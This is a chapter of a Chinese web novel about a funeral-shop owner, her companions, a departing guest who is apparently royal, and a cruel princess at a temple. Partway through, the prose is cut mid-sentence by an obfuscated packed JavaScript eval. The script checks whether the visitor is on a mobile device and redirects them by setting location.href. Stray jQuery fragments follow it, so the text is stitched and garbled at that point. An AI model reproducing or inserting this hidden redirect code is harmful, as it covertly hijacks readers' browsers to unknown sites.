20. 第二十章

作品:《我,殡仪馆主理人

    陆灵昭急了:“别胡说八道。钱袋是我...顺手捡的,确实不是我的。可里面的钱百分之百、千真万确属于我!”


    谢无双接过钱袋,将银两悉数取出,还给陆灵昭,她这才闭了嘴。


    杜小云睨了一眼陆灵昭:“真是狗改不了吃屎。”


    谢无双捧着失而复得的钱袋,喜极而泣。


    “娘,你放心,我找回钱袋了!”


    他当即在院中跪下,对着钱袋磕了三个响头,看得众人是目瞪口呆。


    这人看着年纪轻轻一表人才的,怎么好像脑子有问题......


    “今天真是谢谢诸位了,谢某就此告辞。”


    除姜雁外,其余人等也纷纷回去用饭。


    话虽然这么说了,可谢无双的眼睛却直勾勾盯着桌上的饭菜。


    姜雁看着他的喉结上下滚动,猜出他心中所想,殷勤拉了他到桌边坐下:“还没吃饭吧?”


    谢无双摇头。


    “来得早不如来得巧,谢公子吃过饭再走吧。”


    “哟,好像没碗了。”


    “谁说没碗了,刚才喝茶用的那个不是吗?”


    谢无双吃得十分斯文克制,完全不似其余人预想的那样满嘴流油,依旧是一副翩翩公子的模样。


    杜小云若有所思道:“我以为这人但凡是饿急了,管它公子夫人的,吃起来都是同一副饿鬼投胎样。没想到今天倒碰着个例外。”


    夏怡月有些担心,她试探着问道:“公子,这饭菜可是不合你的口味?要是你觉得有哪里不好,尽管提出来。


    谢无双连忙咽下口中饭粒,放了碗,双手作揖道:“这些饭菜十分美味,谢某还以为是名厨的出品,没想到都出自姑娘之手。”


    “在下自小家教颇严,吃饭不许狼吞虎咽、更不许说话。是以刚才只顾埋头品味佳肴,不想引来姑娘误会,是谢某失礼了。”


    夏怡月听得脸都红了:“一路奔波劳累,谢公子定是饿坏了,你饭碗都空了,我再去给你盛一碗。”


    吃得差不多了,大家陆续离席,谢无双拗不过夏怡月的热情,不光吃了三大碗,还顺手打包了几个馒头回家。


    姜雁却一拍脑袋:“对了,怎么没见林公子?”


    “他说身体不舒服,一直在房里休息呢。”


    那也不能不吃饭啊!还有馒头和粥没有?


    夏怡月赶紧跑过来:“有的,锅里给他留着呢。要不我现在给他送去?”


    姜雁一挥手:“不用,忙你的吧,我去送就行了。”


    夏怡月会意,促狭一笑,端了碗筷回到灶房收拾。


    姜雁没有直接去送饭,而是径直回卧房照镜子,过了一会才出来。


    她来到林肃房前,却看见房门半掩着,林肃站在床边,好像在收拾东西。


    姜雁看得心里一紧,立刻推门进去:“你要走?”


    林肃回头,见是姜雁,点点头,温和一笑算是回应。


    “为什么?可是有人欺负你了,还是哪里住的不习惯。有什么事你告诉我,我让大家帮你想办法。”


    林肃哑然失笑,对她的反应似乎有点意外。他放下手中的衣裳,缓缓道:“姜姑娘,谢谢你们这段时间来的照顾,林某身上的伤已经痊愈了。但在下有要事在身,不能久留。”


    “不行啊,你走了,谁来保护往生铺的大家呢?”


    “叶姑娘武艺高超,有她在,必定能护你们周全。”


    姜雁上前两步,拉了林肃的衣袖,悄声道:“可她是武举人出身,志存高远,我怕她不会安心留在这里做个护院...说不定哪天她有了更好的去处,就跑了呢!”


    恰巧这时候叶真从门口经过,听了一耳朵立马接茬:“放心吧掌柜的,在这儿的几天我想明白了,我当初学武的目的就是护一方百姓。虽然当不成捕快了,当个护院,保护大家也是好的。更何况,这里每个人的关系那么融洽,夏姑娘做饭又那么好吃。”


    姜雁只恨自己刚才没关好门,她立刻瞪了叶真一眼,叶真不明就里。


    “叶姑娘,刚才是不是吃太饱了,这么闲,不如陪我去遛遛阿黄吧~”


    杜小云过来拉走她,朝姜雁使了个眼色,还贴心地帮忙关上门。


    姜雁“你可以走,但是走之前得告诉我,你家住哪儿。不然,以后我们如果想你了,上哪儿找你啊?”


    “此事林某不便透露,在下身份特殊,如果姑娘知道,怕是也会被卷入危险之中。”


    林肃把为数不多的几件行李打好包,挂在肩上,眼看着就要走出铺子。


    姜雁在一边看得干着急。


    不行,她必须说点什么让他留下来。


    “那个...你必须留下,因为我知道你是皇室的人,而且,我更知道你要找的人在哪儿!”


    没办法,她绞尽脑汁只能说出这么一句来。


    不过好像被她蒙对了。


    因为此言一出,林肃的目光立刻炯炯地钉在她脸上。


    姜雁被看得有些心虚。


    林肃一步步走近,姜雁却像个犯了错的孩子低下头,不敢看他的眼睛。


    “你的那个玉佩,我见过另一块。”


    “此物你在何处寻得?”


    她不敢说,这实际是她找到玉器铺子,照着陆灵昭那块做的仿制品。


    林肃叹了口气。


    “你可知,陆姑娘今日在集市遇到的不是别人,正是宁国公主——圣上最宠爱的小女儿。”


    姜雁一怔,林肃没有看她,而是继续说了下去。


    与其他公主不同,宁国公主的母亲是一位出身低微的平民女子。当年机缘巧合之下被圣上宠幸,怀上公主。宁国公主一直随母在民间生活,颠沛流离,七岁那年才被宫中人寻回。


    或许是宁国公主活泼可爱,又或者是思及其生母,圣上心怀愧疚。原因众说纷纭,但结果总归是圣上对宁国公主十分偏爱,这在宫里宫外都是人尽皆知之事。


    当年皇帝为重病的太后祈福,曾立下誓言,太后多活一年,就多建一间寺庙。


    也许是皇帝的诚意感动了上天,太后原本卧病在床,危在旦夕,众太医都束手无策。


    没想到皇帝祈福回宫后,太后竟然一天天好起来了。


    自此,大璟王朝便自上而下人人礼佛崇佛,皇帝还将每年的四月初八定位礼佛日,规定三品以上的官员都必须沐浴焚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613133|186470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    香,祈福祷告。


    清河镇本是一座无名荒山脚下的小小村落。


    十五年前,工部侍郎官员受皇命所托,在山上选址建了一座寺庙,就是现在远近闻名的报恩寺,传说是观音菩萨的道场。


    此后香火鼎盛,香客纷至沓来。村里的人也越聚越多,由清河村变成了清河镇。


    *


    清河镇后山,报恩寺一处禅房内。


    方丈朝公主深深一拜:“禅房简陋,饮食粗淡。望公主不要嫌弃。”


    宁国公主双手合十,朝方丈和主持微微低头道:“方丈见外了。父皇身体不适,久病不愈。我忧心父皇龙体,更顾念大璟的百姓,特地请旨来此礼佛。希望观音娘娘听见我的祷告,能早日降下福泽,保佑父皇早日康复。”


    主持合掌还礼道:“公主孝心赤诚,天地可鉴。有这样的公主,是我们大璟子民之福啊。”


    “如果还有事可以找院内的弟子们,我们先行告退了。”


    眼看方丈和主持走远了,宁国公主李玉容掩鼻道:“这群和尚一个个生的脑满肠肥,不知道的还以为他们是屠户呢,油腻腻的,把屋子都熏臭了。


    话音未落,她又瞥了一眼桌上素斋,语气中满是嫌弃:“啧,这都什么菜啊,是人吃的吗?”


    她轻抬眼皮:“绿珠。”


    “奴婢这就处理。”


    领头侍女绿珠会意,立刻命人将餐食拿走倒掉。


    另一个婢女走上来,双手奉上一封金色信笺:“公主,这是差人打听到的天香楼菜单,他们店有几个招牌菜做的还不错,您想尝尝吗?”


    李玉容看也没看她,只是从鼻孔里冷哼了一声,一挥袖子,径直躺在那把她从皇宫带来的太师椅上,左右伸出手。


    身后两个侍女条件反射般走上前去,轻轻托起她的手,开始轻轻柔柔地按摩。


    这边李玉容舒服地眯上了眼,另一边绿珠夺了信笺,一脚将那婢女踹翻在地:“没看公主今日舟车劳顿,都累一天了吗?公主自小体弱,你还让公主亲自动身,存心折磨公主呢?”


    婢女吓得连滚带爬来到李玉容跟前,重新伏跪在地,拼命磕着头,连声求饶道:“是小的思虑不周,小的错了,求公主大人有大量,宽恕小人...”


    李玉容轻轻抬手,左右两个侍女立刻停了动作。她伸了懒腰,施施然从椅子上站起来,闲庭信步般走过来,点了一下那婢女的额头,她吓得浑身一僵,顿时连哭声都小了下去。


    李玉容看着她摇头,口中啧啧道:“绿珠,你又吓唬人。你看看,人家都被你吓成什么样子了?”


    绿珠闻言,立刻跪在那婢女旁边,头埋得极低。


    说着,她俯下身,食指尖挑起那小婢女的脸,啧啧叹道:“哭得梨花带雨,着实惹人怜爱。”


    那小婢女一双圆眼生的极为无辜,睫羽轻颤,神色惶恐不安。


    “可惜,我最恨你们这幅奴颜婢膝的贱样!”


    “给我拉出去发卖!”


    “可她是宁远侯府的丫头,这样做会不会不妥...”


    “到了本公主手里,就是本公主的人了。如何处置是我说了算,外人谁敢说一个不字?”